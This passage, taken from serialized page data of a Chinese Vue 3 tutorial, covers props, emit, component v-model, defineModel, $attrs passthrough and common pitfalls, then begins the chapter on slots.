有独立状态要自管",[63,25131,25132,25135],{},[84,25133,25134],{},"何时别拆",[84,25136,25137],{},"只为「看起来整齐」而拆的模板片段——反而要穿多层传 props",[63,25139,25140,25143],{},[84,25141,25142],{},"传递数据",[84,25144,25145],{},"props 向下、emit 向上（第九章）；深层用 provide\u002Finject（第十三章）或 store（第十五章）",[48,25147,25149],{"id":25148},"九props-与-emit父子之间的规矩","九、props 与 emit：父子之间的规矩",[11,25151,25152,25153,25156],{},"组件通信的地基是两条：",[17,25154,25155],{},"props 向下传数据，emit 向上传事件","。核心纪律叫「单向数据流」——子组件不能改父组件传下来的 props，只能读、只能在本地复制一份再改。",[53,25158,25160],{"id":25159},"props声明类型默认值","props：声明、类型、默认值",[308,25162,25164],{"className":5996,"code":25163,"language":5998,"meta":314,"style":314},"\u003C!-- UserCard.vue -->\n\u003Cscript setup>\nconst props = defineProps({\n  name: { type: String, required: true },\n  level: { type: Number, default: 1 },\n  tags: { type: Array, default: () => [] },      \u002F\u002F 对象\u002F数组必须用工厂函数\n  meta: { type: Object, default: () => ({}) },\n  size: { type: String, validator: (v) => ['s', 'm', 'l'].includes(v) }\n})\n\n\u002F\u002F 也可以只列类型（简写）\n\u002F\u002F defineProps(['name', 'level'])\n\u003C\u002Fscript>\n",[22,25165,25166,25171,25181,25193,25202,25211,25228,25242,25280,25284,25288,25293,25298],{"__ignoreMap":314},[331,25167,25168],{"class":333,"line":334},[331,25169,25170],{"class":1003},"\u003C!-- UserCard.vue -->\n",[331,25172,25173,25175,25177,25179],{"class":333,"line":341},[331,25174,510],{"class":337},[331,25176,891],{"class":497},[331,25178,6299],{"class":501},[331,25180,505],{"class":337},[331,25182,25183,25185,25187,25189,25191],{"class":333,"line":357},[331,25184,951],{"class":616},[331,25186,7243],{"class":344},[331,25188,957],{"class":616},[331,25190,7248],{"class":501},[331,25192,1250],{"class":337},[331,25194,25195,25198,25200],{"class":333,"line":371},[331,25196,25197],{"class":337},"  name: { type: String, required: ",[331,25199,1131],{"class":344},[331,25201,5251],{"class":337},[331,25203,25204,25207,25209],{"class":333,"line":384},[331,25205,25206],{"class":337},"  level: { type: Number, default: ",[331,25208,7993],{"class":344},[331,25210,5251],{"class":337},[331,25212,25213,25216,25218,25220,25222,25225],{"class":333,"line":397},[331,25214,25215],{"class":337},"  tags: { type: Array, ",[331,25217,5854],{"class":501},[331,25219,8621],{"class":337},[331,25221,1489],{"class":616},[331,25223,25224],{"class":337}," [] },      ",[331,25226,25227],{"class":1003},"\u002F\u002F 对象\u002F数组必须用工厂函数\n",[331,25229,25230,25233,25235,25237,25239],{"class":333,"line":418},[331,25231,25232],{"class":337},"  meta: { type: Object, ",[331,25234,5854],{"class":501},[331,25236,8621],{"class":337},[331,25238,1489],{"class":616},[331,25240,25241],{"class":337}," ({}) },\n",[331,25243,25244,25247,25250,25252,25254,25256,25258,25260,25263,25265,25268,25270,25273,25275,25277],{"class":333,"line":427},[331,25245,25246],{"class":337},"  size: { type: String, ",[331,25248,25249],{"class":501},"validator",[331,25251,6534],{"class":337},[331,25253,14033],{"class":2472},[331,25255,3180],{"class":337},[331,25257,1489],{"class":616},[331,25259,1108],{"class":337},[331,25261,25262],{"class":365},"'s'",[331,25264,409],{"class":337},[331,25266,25267],{"class":365},"'m'",[331,25269,409],{"class":337},[331,25271,25272],{"class":365},"'l'",[331,25274,2498],{"class":337},[331,25276,2501],{"class":501},[331,25278,25279],{"class":337},"(v) }\n",[331,25281,25282],{"class":333,"line":439},[331,25283,5399],{"class":337},[331,25285,25286],{"class":333,"line":450},[331,25287,998],{"emptyLinePlaceholder":997},[331,25289,25290],{"class":333,"line":456},[331,25291,25292],{"class":1003},"\u002F\u002F 也可以只列类型（简写）\n",[331,25294,25295],{"class":333,"line":775},[331,25296,25297],{"class":1003},"\u002F\u002F defineProps(['name', 'level'])\n",[331,25299,25300,25302,25304],{"class":333,"line":785},[331,25301,788],{"class":337},[331,25303,891],{"class":497},[331,25305,505],{"class":337},[11,25307,25308,25309,25312,25313,161,25316,25319],{},"用类型声明的 ",[22,25310,25311],{},"String | Number"," 写作 ",[22,25314,25315],{},"[String, Number]",[17,25317,25318],{},"校验只在开发版生效","（示例 09 把警告接到了迷你控制台里），生产构建里被剥掉——所以它是「写代码时的护栏」，不是运行时保障。",[11,25321,25322],{},"模板里传值的对照，务必分清：",[57,25324,25325,25334],{},[60,25326,25327],{},[63,25328,25329,25331],{},[66,25330,19254],{},[66,25332,25333],{},"传过去的值",[79,25335,25336,25347,25358,25371,25381],{},[63,25337,25338,25342],{},[84,25339,25340],{},[22,25341,19211],{},[84,25343,25344,25345],{},"数字 ",[22,25346,7993],{},[63,25348,25349,25353],{},[84,25350,25351],{},[22,25352,19215],{},[84,25354,25355,25356],{},"字符串 ",[22,25357,19219],{},[63,25359,25360,25365],{},[84,25361,25362],{},[22,25363,25364],{},":count=\"raw\"",[84,25366,25367,25370],{},[22,25368,25369],{},"raw"," 变量的值",[63,25372,25373,25378],{},[84,25374,25375],{},[22,25376,25377],{},":is-ok",[84,25379,25380],{},"布尔 true（缺省即 true，仅 Boolean 类型 props 有这个糖）",[63,25382,25383,25388],{},[84,25384,25385],{},[22,25386,25387],{},"v-bind=\"allProps\"",[84,25389,25390],{},"展开对象里所有字段",[53,25392,25394],{"id":25393},"props-只读想改就复制","props 只读：想改就复制",[308,25396,25398],{"className":5996,"code":25397,"language":5998,"meta":314,"style":314},"\u003Cscript setup>\nimport { ref, watch } from 'vue'\nconst props = defineProps({ title: String })\n\n\u002F\u002F ✗ 直接改：开发版警告「Avoid mutating a prop directly」\n\u002F\u002F props.title = '新值'\n\n\u002F\u002F ✓ 本地副本 + 同步\nconst local = ref(props.title)\nwatch(() => props.title, (v) => { local.value = v })\n\u003C\u002Fscript>\n",[22,25399,25400,25410,25421,25434,25438,25443,25448,25452,25457,25471,25496],{"__ignoreMap":314},[331,25401,25402,25404,25406,25408],{"class":333,"line":334},[331,25403,510],{"class":337},[331,25405,891],{"class":497},[331,25407,6299],{"class":501},[331,25409,505],{"class":337},[331,25411,25412,25414,25417,25419],{"class":333,"line":341},[331,25413,4648],{"class":616},[331,25415,25416],{"class":337}," { ref, watch } ",[331,25418,13735],{"class":616},[331,25420,17864],{"class":365},[331,25422,25423,25425,25427,25429,25431],{"class":333,"line":357},[331,25424,951],{"class":616},[331,25426,7243],{"class":344},[331,25428,957],{"class":616},[331,25430,7248],{"class":501},[331,25432,25433],{"class":337},"({ title: String })\n",[331,25435,25436],{"class":333,"line":371},[331,25437,998],{"emptyLinePlaceholder":997},[331,25439,25440],{"class":333,"line":384},[331,25441,25442],{"class":1003},"\u002F\u002F ✗ 直接改：开发版警告「Avoid mutating a prop directly」\n",[331,25444,25445],{"class":333,"line":397},[331,25446,25447],{"class":1003},"\u002F\u002F props.title = '新值'\n",[331,25449,25450],{"class":333,"line":418},[331,25451,998],{"emptyLinePlaceholder":997},[331,25453,25454],{"class":333,"line":427},[331,25455,25456],{"class":1003},"\u002F\u002F ✓ 本地副本 + 同步\n",[331,25458,25459,25461,25464,25466,25468],{"class":333,"line":439},[331,25460,951],{"class":616},[331,25462,25463],{"class":344}," local",[331,25465,957],{"class":616},[331,25467,13780],{"class":501},[331,25469,25470],{"class":337},"(props.title)\n",[331,25472,25473,25475,25477,25479,25482,25484,25486,25488,25491,25493],{"class":333,"line":450},[331,25474,5460],{"class":501},[331,25476,1486],{"class":337},[331,25478,1489],{"class":616},[331,25480,25481],{"class":337}," props.title, (",[331,25483,14033],{"class":2472},[331,25485,3180],{"class":337},[331,25487,1489],{"class":616},[331,25489,25490],{"class":337}," { local.value ",[331,25492,518],{"class":616},[331,25494,25495],{"class":337}," v })\n",[331,25497,25498,25500,25502],{"class":333,"line":456},[331,25499,788],{"class":337},[331,25501,891],{"class":497},[331,25503,505],{"class":337},[11,25505,25506,25507,25510,25511,25513],{},"如果父子要",[17,25508,25509],{},"双向","同步，那是 ",[22,25512,20316],{}," 的活（下面第三段）。",[53,25515,25517],{"id":25516},"emit向上传事件","emit：向上传事件",[308,25519,25521],{"className":5996,"code":25520,"language":5998,"meta":314,"style":314},"\u003C!-- Child.vue -->\n\u003Cscript setup>\nconst emit = defineEmits(['like', 'rename', { submit: (payload) => typeof payload === 'string' }])\nfunction tap() { emit('like', 1) }\n\u003C\u002Fscript>\n\n\u003C!-- Parent.vue -->\n\u003Cchild @like=\"count += $event\" @rename=\"name = $event\" @submit=\"onSubmit\" \u002F>\n",[22,25522,25523,25528,25538,25586,25608,25616,25620,25625],{"__ignoreMap":314},[331,25524,25525],{"class":333,"line":334},[331,25526,25527],{"class":1003},"\u003C!-- Child.vue -->\n",[331,25529,25530,25532,25534,25536],{"class":333,"line":341},[331,25531,510],{"class":337},[331,25533,891],{"class":497},[331,25535,6299],{"class":501},[331,25537,505],{"class":337},[331,25539,25540,25542,25545,25547,25550,25552,25555,25557,25560,25562,25565,25567,25569,25571,25573,25576,25579,25581,25584],{"class":333,"line":357},[331,25541,951],{"class":616},[331,25543,25544],{"class":344}," emit",[331,25546,957],{"class":616},[331,25548,25549],{"class":501}," defineEmits",[331,25551,9735],{"class":337},[331,25553,25554],{"class":365},"'like'",[331,25556,409],{"class":337},[331,25558,25559],{"class":365},"'rename'",[331,25561,18198],{"class":337},[331,25563,25564],{"class":501},"submit",[331,25566,6534],{"class":337},[331,25568,4937],{"class":2472},[331,25570,3180],{"class":337},[331,25572,1489],{"class":616},[331,25574,25575],{"class":616}," typeof",[331,25577,25578],{"class":337}," payload ",[331,25580,2625],{"class":616},[331,25582,25583],{"class":365}," 'string'",[331,25585,21495],{"class":337},[331,25587,25588,25590,25593,25595,25597,25599,25601,25603,25605],{"class":333,"line":371},[331,25589,3047],{"class":616},[331,25591,25592],{"class":501}," tap",[331,25594,17990],{"class":337},[331,25596,22133],{"class":501},[331,25598,966],{"class":337},[331,25600,25554],{"class":365},[331,25602,409],{"class":337},[331,25604,7993],{"class":344},[331,25606,25607],{"class":337},") }\n",[331,25609,25610,25612,25614],{"class":333,"line":384},[331,25611,788],{"class":337},[331,25613,891],{"class":497},[331,25615,505],{"class":337},[331,25617,25618],{"class":333,"line":397},[331,25619,998],{"emptyLinePlaceholder":997},[331,25621,25622],{"class":333,"line":418},[331,25623,25624],{"class":1003},"\u003C!-- Parent.vue -->\n",[331,25626,25627,25629,25632,25635,25638,25640,25642,25645,25648,25651,25653,25655,25658,25660,25662,25665,25667,25669,25671,25673,25675,25677,25679,25682,25684],{"class":333,"line":427},[331,25628,510],{"class":337},[331,25630,25631],{"class":497},"child",[331,25633,25634],{"class":337}," @",[331,25636,25637],{"class":501},"like",[331,25639,518],{"class":337},[331,25641,6153],{"class":365},[331,25643,25644],{"class":337},"count ",[331,25646,25647],{"class":616},"+=",[331,25649,25650],{"class":337}," $event",[331,25652,6153],{"class":365},[331,25654,25634],{"class":337},[331,25656,25657],{"class":501},"rename",[331,25659,518],{"class":337},[331,25661,6153],{"class":365},[331,25663,25664],{"class":337},"name ",[331,25666,518],{"class":616},[331,25668,25650],{"class":337},[331,25670,6153],{"class":365},[331,25672,25634],{"class":337},[331,25674,25564],{"class":501},[331,25676,518],{"class":337},[331,25678,6153],{"class":365},[331,25680,25681],{"class":337},"onSubmit",[331,25683,6153],{"class":365},[331,25685,6998],{"class":337},[11,25687,25688,25689,25692,25693,25695,25696,25699,25700,25702],{},"声明 ",[22,25690,25691],{},"emits"," 有两个实际好处：父组件监听时 IDE 有提示；未在 ",[22,25694,25691],{}," 里声明的「事件风格」监听（",[22,25697,25698],{},"@xyz","）会被当成原生事件透传到根元素，导致触发两次。声明了 ",[22,25701,25691],{},"，Vue 就知道它不是 DOM 事件。",[53,25704,25706],{"id":25705},"组件上的-v-model","组件上的 v-model",[11,25708,25709,25710,25712,25713,25715,25716,25718],{},"Vue 3 里 ",[22,25711,20316],{}," 在组件上等价于「",[22,25714,22845],{}," prop + ",[22,25717,22848],{}," 事件」，并且支持带参数：",[308,25720,25722],{"className":5996,"code":25721,"language":5998,"meta":314,"style":314},"\u003C!-- 手写完整版 -->\n\u003Cscript setup>\nconst props = defineProps({ modelValue: String })\nconst emit = defineEmits(['update:modelValue'])\n\u003C\u002Fscript>\n\u003Ctemplate>\u003Cinput :value=\"props.modelValue\" @input=\"emit('update:modelValue', $event.target.value)\">\u003C\u002Ftemplate>\n\n\u003C!-- 父组件用法 -->\n\u003Cbase-input v-model=\"form.name\" \u002F>\n\u003Cprice-field v-model:price=\"item.price\" v-model:count=\"item.count\" \u002F>\n",[22,25723,25724,25729,25739,25752,25769,25777,25808,25812,25817,25837],{"__ignoreMap":314},[331,25725,25726],{"class":333,"line":334},[331,25727,25728],{"class":1003},"\u003C!-- 手写完整版 -->\n",[331,25730,25731,25733,25735,25737],{"class":333,"line":341},[331,25732,510],{"class":337},[331,25734,891],{"class":497},[331,25736,6299],{"class":501},[331,25738,505],{"class":337},[331,25740,25741,25743,25745,25747,25749],{"class":333,"line":357},[331,25742,951],{"class":616},[331,25744,7243],{"class":344},[331,25746,957],{"class":616},[331,25748,7248],{"class":501},[331,25750,25751],{"class":337},"({ modelValue: String })\n",[331,25753,25754,25756,25758,25760,25762,25764,25767],{"class":333,"line":371},[331,25755,951],{"class":616},[331,25757,25544],{"class":344},[331,25759,957],{"class":616},[331,25761,25549],{"class":501},[331,25763,9735],{"class":337},[331,25765,25766],{"class":365},"'update:modelValue'",[331,25768,9741],{"class":337},[331,25770,25771,25773,25775],{"class":333,"line":384},[331,25772,788],{"class":337},[331,25774,891],{"class":497},[331,25776,505],{"class":337},[331,25778,25779,25781,25783,25785,25787,25789,25791,25794,25797,25799,25802,25804,25806],{"class":333,"line":397},[331,25780,510],{"class":337},[331,25782,6012],{"class":497},[331,25784,7082],{"class":337},[331,25786,19733],{"class":497},[331,25788,23050],{"class":501},[331,25790,518],{"class":337},[331,25792,25793],{"class":365},"\"props.modelValue\"",[331,25795,25796],{"class":501}," @input",[331,25798,518],{"class":337},[331,25800,25801],{"class":365},"\"emit('update:modelValue', $event.target.value)\"",[331,25803,902],{"class":337},[331,25805,6012],{"class":497},[331,25807,505],{"class":337},[331,25809,25810],{"class":333,"line":418},[331,25811,998],{"emptyLinePlaceholder":997},[331,25813,25814],{"class":333,"line":427},[331,25815,25816],{"class":1003},"\u003C!-- 父组件用法 -->\n",[331,25818,25819,25821,25824,25826,25828,25830,25833,25835],{"class":333,"line":439},[331,25820,510],{"class":337},[331,25822,25823],{"class":497},"base-input",[331,25825,19736],{"class":501},[331,25827,518],{"class":337},[331,25829,6153],{"class":365},[331,25831,25832],{"class":337},"form.name",[331,25834,6153],{"class":365},[331,25836,6998],{"class":337},[331,25838,25839,25841,25844,25846,25848,25851,25853,25855,25858,25860,25862,25864,25867,25869,25871,25874,25876],{"class":333,"line":450},[331,25840,510],{"class":337},[331,25842,25843],{"class":497},"price-field",[331,25845,19736],{"class":501},[331,25847,1180],{"class":337},[331,25849,25850],{"class":501},"price",[331,25852,518],{"class":337},[331,25854,6153],{"class":365},[331,25856,25857],{"class":337},"item.price",[331,25859,6153],{"class":365},[331,25861,19736],{"class":501},[331,25863,1180],{"class":337},[331,25865,25866],{"class":501},"count",[331,25868,518],{"class":337},[331,25870,6153],{"class":365},[331,25872,25873],{"class":337},"item.count",[331,25875,6153],{"class":365},[331,25877,6998],{"class":337},[11,25879,25880,25882],{},[22,25881,23544],{},"（Vue 3.4+）把上面那一大段压缩成一行，新项目推荐：",[308,25884,25886],{"className":5996,"code":25885,"language":5998,"meta":314,"style":314},"\u003Cscript setup>\nconst model = defineModel()                       \u002F\u002F 对应 v-model\nconst price = defineModel('price', { type: Number, default: 0 })  \u002F\u002F 对应 v-model:price\n\u003C\u002Fscript>\n\u003Ctemplate>\u003Cinput v-model=\"model\">\u003C\u002Ftemplate>\n",[22,25887,25888,25898,25916,25942,25950],{"__ignoreMap":314},[331,25889,25890,25892,25894,25896],{"class":333,"line":334},[331,25891,510],{"class":337},[331,25893,891],{"class":497},[331,25895,6299],{"class":501},[331,25897,505],{"class":337},[331,25899,25900,25902,25905,25907,25910,25913],{"class":333,"line":341},[331,25901,951],{"class":616},[331,25903,25904],{"class":344}," model",[331,25906,957],{"class":616},[331,25908,25909],{"class":501}," defineModel",[331,25911,25912],{"class":337},"()                       ",[331,25914,25915],{"class":1003},"\u002F\u002F 对应 v-model\n",[331,25917,25918,25920,25923,25925,25927,25929,25932,25935,25937,25939],{"class":333,"line":357},[331,25919,951],{"class":616},[331,25921,25922],{"class":344}," price",[331,25924,957],{"class":616},[331,25926,25909],{"class":501},[331,25928,966],{"class":337},[331,25930,25931],{"class":365},"'price'",[331,25933,25934],{"class":337},", { type: Number, default: ",[331,25936,628],{"class":344},[331,25938,9582],{"class":337},[331,25940,25941],{"class":1003},"\u002F\u002F 对应 v-model:price\n",[331,25943,25944,25946,25948],{"class":333,"line":371},[331,25945,788],{"class":337},[331,25947,891],{"class":497},[331,25949,505],{"class":337},[331,25951,25952,25954,25956,25958,25960,25962,25964,25967,25969,25971],{"class":333,"line":384},[331,25953,510],{"class":337},[331,25955,6012],{"class":497},[331,25957,7082],{"class":337},[331,25959,19733],{"class":497},[331,25961,19736],{"class":501},[331,25963,518],{"class":337},[331,25965,25966],{"class":365},"\"model\"",[331,25968,902],{"class":337},[331,25970,6012],{"class":497},[331,25972,505],{"class":337},[53,25974,25976,25977],{"id":25975},"兜底透传attrs","兜底透传：",[22,25978,18898],{},[11,25980,25981,25982,25984,25985,272,25987,272,25990,25992,25993,25995],{},"父组件传了一堆没被子组件 ",[22,25983,21105],{}," 声明的东西（",[22,25986,24306],{},[22,25988,25989],{},"data-*",[22,25991,19525],{},"、未知属性），它们汇总在 ",[22,25994,18898],{}," 里。封装第三方组件时几乎必然用到：",[308,25997,25999],{"className":5996,"code":25998,"language":5998,"meta":314,"style":314},"\u003Ctemplate>\n  \u003Cel-input v-bind=\"$attrs\" :model-value=\"text\" @update:model-value=\"text = $event\" \u002F>\n\u003C\u002Ftemplate>\n",[22,26000,26001,26009,26041],{"__ignoreMap":314},[331,26002,26003,26005,26007],{"class":333,"line":334},[331,26004,510],{"class":337},[331,26006,6012],{"class":497},[331,26008,505],{"class":337},[331,26010,26011,26013,26016,26019,26021,26024,26027,26029,26031,26034,26036,26039],{"class":333,"line":341},[331,26012,537],{"class":337},[331,26014,26015],{"class":497},"el-input",[331,26017,26018],{"class":501}," v-bind",[331,26020,518],{"class":337},[331,26022,26023],{"class":365},"\"$attrs\"",[331,26025,26026],{"class":501}," :model-value",[331,26028,518],{"class":337},[331,26030,23047],{"class":365},[331,26032,26033],{"class":501}," @update:model-value",[331,26035,518],{"class":337},[331,26037,26038],{"class":365},"\"text = $event\"",[331,26040,6998],{"class":337},[331,26042,26043,26045,26047],{"class":333,"line":357},[331,26044,788],{"class":337},[331,26046,6012],{"class":497},[331,26048,505],{"class":337},[4748,26050],{"height":5635,"src":26051,"title":26052},"\u002Ftutorials\u002Fvue3\u002Fdemos\u002F09-props-emit.html","示例 09：props 校验、单向数据流与组件 v-model",[11,26054,26055,26056,26059,26060,26063],{},"示例 09 的第二块是本教程最重要的一条警告现场：子组件里 ",[22,26057,26058],{},"props.count++"," 会打出「Avoid mutating a prop directly」；换成 ",[22,26061,26062],{},"emit('inc')"," 由父级改，数据就真的变了。",[53,26065,4796],{"id":12191},[11,26067,26068,268,26074,26077,26078,26081],{},[17,26069,26070,26071,26073],{},"1. 数组\u002F对象的 ",[22,26072,5854],{}," 忘了工厂函数。",[22,26075,26076],{},"default: []"," 会让所有实例共享同一个数组（Vue 直接报错要求写成 ",[22,26079,26080],{},"() => []","）。这个强制要求反而帮你避开了一个经典 bug。",[11,26083,26084,268,26087,26090,26091,26093,26094,272,26097,26100,26101,26104,26105,2012,26108,26110],{},[17,26085,26086],{},"2. Boolean 类型的「缺省即 true」。",[22,26088,26089],{},":disabled"," 不写值时 props 收到 ",[22,26092,1131],{},"；但 ",[22,26095,26096],{},"disabled=\"\"",[22,26098,26099],{},"disabled"," 这类 HTML 写法混进来时容易和 ",[22,26102,26103],{},"String"," 类型的 props 冲突。同一个 props 不要同时声明 ",[22,26106,26107],{},"Boolean",[22,26109,26103],{},"，除非清楚这套推断规则。",[11,26112,26113,26116,26117,26120,26121,26124,26125],{},[17,26114,26115],{},"3. 子组件改 props 里的对象「不报错」。"," 单向数据流只防「重新赋值 props」，",[22,26118,26119],{},"props.user.name = 'x'"," 这种深层修改 Vue 拦不住（严格来说 ",[22,26122,26123],{},"readonly"," 代理会给出警告，但很多人直接把它绕过去了）。约定：",[17,26126,26127],{},"深层可改的数据要么交给父级改（emit），要么复制一份本地副本。",[11,26129,26130,26133,26134,26137,26138,26141,26142,26145],{},[17,26131,26132],{},"4. props 大小写。"," 模板里传 ",[22,26135,26136],{},"user-name","，子组件声明 ",[22,26139,26140],{},"userName","，Vue 会自动转换——但在浏览器 in-DOM 模板里 ",[22,26143,26144],{},":userName=\"x\""," 被转成小写后就对不上了。项目里统一 kebab-case 传值最省心。",[11,26147,26148,268,26151,26154,26155,26158,26159,26161],{},[17,26149,26150],{},"5. 事件名大小写。",[22,26152,26153],{},"emit('updateName')"," 与父级 ",[22,26156,26157],{},"@update-name"," 不匹配（",[22,26160,20285],{}," 监听在 in-DOM 模板里是小写）。事件名建议一律 kebab-case。",[11,26163,26164,26170,26171,26173],{},[17,26165,26166,26167,26169],{},"6. 忘记声明 ",[22,26168,25691],{},"，事件被当原生事件。"," 结果可能是点击触发两次（一次自定义、一次透传到根 DOM）。上一节说过，这也是要声明 ",[22,26172,25691],{}," 的核心理由。",[11,26175,26176,268,26181,26184,26185,26187,26188,26190,26191,161],{},[17,26177,13458,26178,26180],{},[22,26179,21105],{}," 解构断掉响应性。",[22,26182,26183],{},"const { title } = defineProps(...)"," 后 ",[22,26186,581],{}," 是普通值（3.5 之前）；老教程里满大街这种写法。安全做法：",[22,26189,21117],{},"，或 ",[22,26192,26193],{},"toRef(props, 'title')",[11,26195,26196,26206,26207,26209],{},[17,26197,26198,26199,26201,26202,26205],{},"8. 父级用 ",[22,26200,20316],{}," 但子组件只声明了 ",[22,26203,26204],{},"props: ['value']","（Vue 2 习惯）。"," Vue 3 里模型名变了（",[22,26208,22845],{},"），旧写法静默失效、无任何警告——这是升级项目里最隐蔽的一类 bug。",[11,26211,26212,26223],{},[17,26213,26214,26215,1901,26217,26219,26220,26222],{},"9. ",[22,26216,16826],{},[22,26218,16829],{}," 只能写在 ",[22,26221,4775],{}," 顶层。"," 它们是编译器宏（不需要 import），也不能放进函数里调用。看到「找不到 defineProps」多半是误加了 import 或写错了 script 块。",[53,26225,26227],{"id":26226},"附父子通信方式对照","附：父子通信方式对照",[57,26229,26230,26241],{},[60,26231,26232],{},[63,26233,26234,26237,26239],{},[66,26235,26236],{},"场景",[66,26238,3831],{},[66,26240,19257],{},[79,26242,26243,26255,26267,26284,26299,26309,26325],{},[63,26244,26245,26248,26252],{},[84,26246,26247],{},"父 → 子",[84,26249,26250],{},[22,26251,21105],{},[84,26253,26254],{},"只读，类型\u002F默认值\u002F校验都能声明",[63,26256,26257,26260,26264],{},[84,26258,26259],{},"子 → 父",[84,26261,26262],{},[22,26263,22133],{},[84,26265,26266],{},"事件名 kebab-case，可带载荷",[63,26268,26269,26272,26278],{},[84,26270,26271],{},"父 ⇄ 子（表单值）",[84,26273,26274,1901,26276],{},[22,26275,20316],{},[22,26277,23544],{},[84,26279,26280,26281],{},"一个组件可有多模型 ",[22,26282,26283],{},"v-model:xxx",[63,26285,26286,26289,26296],{},[84,26287,26288],{},"父 → 深层子孙",[84,26290,26291,1901,26293],{},[22,26292,15009],{},[22,26294,26295],{},"inject",[84,26297,26298],{},"第十三章",[63,26300,26301,26304,26306],{},[84,26302,26303],{},"全局共享状态",[84,26305,14199],{},[84,26307,26308],{},"第十五章",[63,26310,26311,26314,26322],{},[84,26312,26313],{},"调用子组件方法",[84,26315,26316,26317,4809,26319],{},"模板 ",[22,26318,4778],{},[22,26320,26321],{},"defineExpose",[84,26323,26324],{},"第十四章，最后手段",[63,26326,26327,26330,26334],{},[84,26328,26329],{},"未声明属性\u002F事件透传",[84,26331,26332],{},[22,26333,24423],{},[84,26335,26336],{},"封装第三方组件必用",[48,26338,26340],{"id":26339},"十slot-插槽把内容塞进组件","十、slot 插槽：把内容塞进组件",[11,26342,26343],{},"props 传的是「数据」，插槽传的是「界面」。有了插槽，组件才能既固定结构（卡片外框、表格骨架）又开放内容。",[53,26345,26346],{"id":26346},"三种插槽",[308,26348,26350],{"className":5996,"code":26349,"language":5998,"meta":314,"style":314},"\u003C!-- CardBox.vue -->\n\u003Ctemplate>\n  \u003Csection class=\"card\">\n    \u003Cheader>\u003Cslot name=\"header\">默认标题\u003C\u002Fslot>\u003C\u002Fheader>\n    \u003Cmain>\u003Cslot>这里是默认插槽的兜底内容\u003C\u002Fslot>\u003C\u002Fmain>\n    \u003Cfooter>\u003Cslot name=\"footer\" \u002F>\u003C\u002Ffooter>\n  \u003C\u002Fsection>\n\u003C\u002Ftemplate>\n\n\u003C!-- 父组件使用 -->\n\u003Ccard-box>\n  \u003Ctemplate #header>\n    \u003Ch3>用户列表\u003C\u002Fh3>\n  \u003C\u002Ftemplate>\n\n  \u003Cp>默认插槽的内容写在这里，不用 template 包也行\u003C\u002Fp>\n\n  \u003Ctemplate #footer>\n    \u003Cbutton>关闭\u003C\u002Fbutton>\n  \u003C\u002Ftemplate>\n\u003C\u002Fcard-box>\n",[22,26351,26352,26357,26365,26380,26409,26430,26456,26464,26472,26476,26481,26490,26495,26500,26505,26509,26514,26518,26523,26528,26532],{"__ignoreMap":314},[331,26353,26354],{"class":333,"line":334},[331,26355,26356],{"class":1003},"\u003C!-- CardBox.vue -->\n",[331,26358,26359,26361,26363],{"class":333,"line":341},[331,26360,510],{"class":337},[331,26362,6012],{"class":497},[331,26364,505],{"class":337},[331,26366,26367,26369,26372,26374,26376,26378],{"class":333,"line":357},[331,26368,537],{"class":337},[331,26370,26371],{"class":497},"section",[331,26373,6024],{"class":501},[331,26375,518],{"class":337},[331,26377,24517],{"class":365},[331,26379,505],{"class":337},[331,26381,26382,26384,26387,26389,26391,26393,26395,26398,26401,26403,26405,26407],{"class":333,"line":371},[331,26383,6036],{"class":337},[331,26385,26386],{"class":497},"header",[331,26388,7082],{"class":337},[331,26390,7085],{"class":497},[331,26392,559],{"class":501},[331,26394,518],{"class":337},[331,26396,26397],{"class":365},"\"header\"",[331,26399,26400],{"class":337},">默认标题\u003C\u002F",[331,26402,7085],{"class":497},[331,26404,902],{"class":337},[331,26406,26386],{"class":497},[331,26408,505],{"class":337},[331,26410,26411,26413,26415,26417,26419,26422,26424,26426,26428],{"class":333,"line":384},[331,26412,6036],{"class":337},[331,26414,7072],{"class":497},[331,26416,7082],{"class":337},[331,26418,7085],{"class":497},[331,26420,26421],{"class":337},">这里是默认插槽的兜底内容\u003C\u002F",[331,26423,7085],{"class":497},[331,26425,902],{"class":337},[331,26427,7072],{"class":497},[331,26429,505],{"class":337},[331,26431,26432,26434,26437,26439,26441,26443,26445,26448,26450,26452,26454],{"class":333,"line":397},[331,26433,6036],{"class":337},[331,26435,26436],{"class":497},"footer",[331,26438,7082],{"class":337},[331,26440,7085],{"class":497},[331,26442,559],{"class":501},[331,26444,518],{"class":337},[331,26446,26447],{"class":365},"\"footer\"",[331,26449,6544],{"class":7088},[331,26451,902],{"class":337},[331,26453,26436],{"class":497},[331,26455,505],{"class":337},[331,26457,26458,26460,26462],{"class":333,"line":418},[331,26459,778],{"class":337},[331,26461,26371],{"class":497},[331,26463,505],{"class":337},[331,26465,26466,26468,26470],{"class":333,"line":427},[331,26467,788],{"class":337},[331,26469,6012],{"class":497},[331,26471,505],{"class":337},[331,26473,26474],{"class":333,"line":439},[331,26475,998],{"emptyLinePlaceholder":997},[331,26477,26478],{"class":333,"line":450},[331,26479,26480],{"class":1003},"\u003C!-- 父组件使用 -->\n",[331,26482,26483,26485,26488],{"class":333,"line":456},[331,26484,510],{"class":337},[331,26486,26487],{"class":497},"card-box",[331,26489,505],{"class":337},[331,26491,26492],{"class":333,"line":775},[331,26493,26494],{"class":337},"  \u003Ctemplate #header>\n",[331,26496,26497],{"class":333,"line":785},[331,26498,26499],{"class":337},"    \u003Ch3>用户列表\u003C\u002Fh3>\n",[331,26501,26502],{"class":333,"line":795},[331,26503,26504],{"class":337},"  \u003C\u002Ftemplate>\n",[331,26506,26507],{"class":333,"line":805},[331,26508,998],{"emptyLinePlaceholder":997},[331,26510,26511],{"class":333,"line":819},[331,26512,26513],{"class":337},"  \u003Cp>默认插槽的内容写在这里，不用 template 包也行\u003C\u002Fp>\n",[331,26515,26516],{"class":333,"line":850},[331,26517,998],{"emptyLinePlaceholder":997},[331,26519,26520],{"class":333,"line":886},[331,26521,26522],{"class":337},"  \u003Ctemplate #footer>\n",[331,26524,26525],{"class":333,"line":909},[331,26526,26527],{"class":337},"    \u003Cbutton>关闭\u003C\u002Fbutton>\n",[331,26529,26530],{"class":333,"line":918},[331,26531,26504],{"class":337},[331,26533,26534,26536,26538],{"class":333,"line":1232},[331,26535,788],{"class":337},[331,26537,26487],{"class":497},[331,26539,505],{"class":337},[11,26541,26542,26543,26548,26549,26552,26553,26555],{},"规则要点：",[17,26544,26545,26546],{},"只有一个默认插槽时可以不写 ",[22,26547,17928],{},"；具名插槽必须写在 ",[22,26550,26551],{},"\u003Ctemplate #名字>"," 上；子组件里 ",[22,26554,19424],{}," 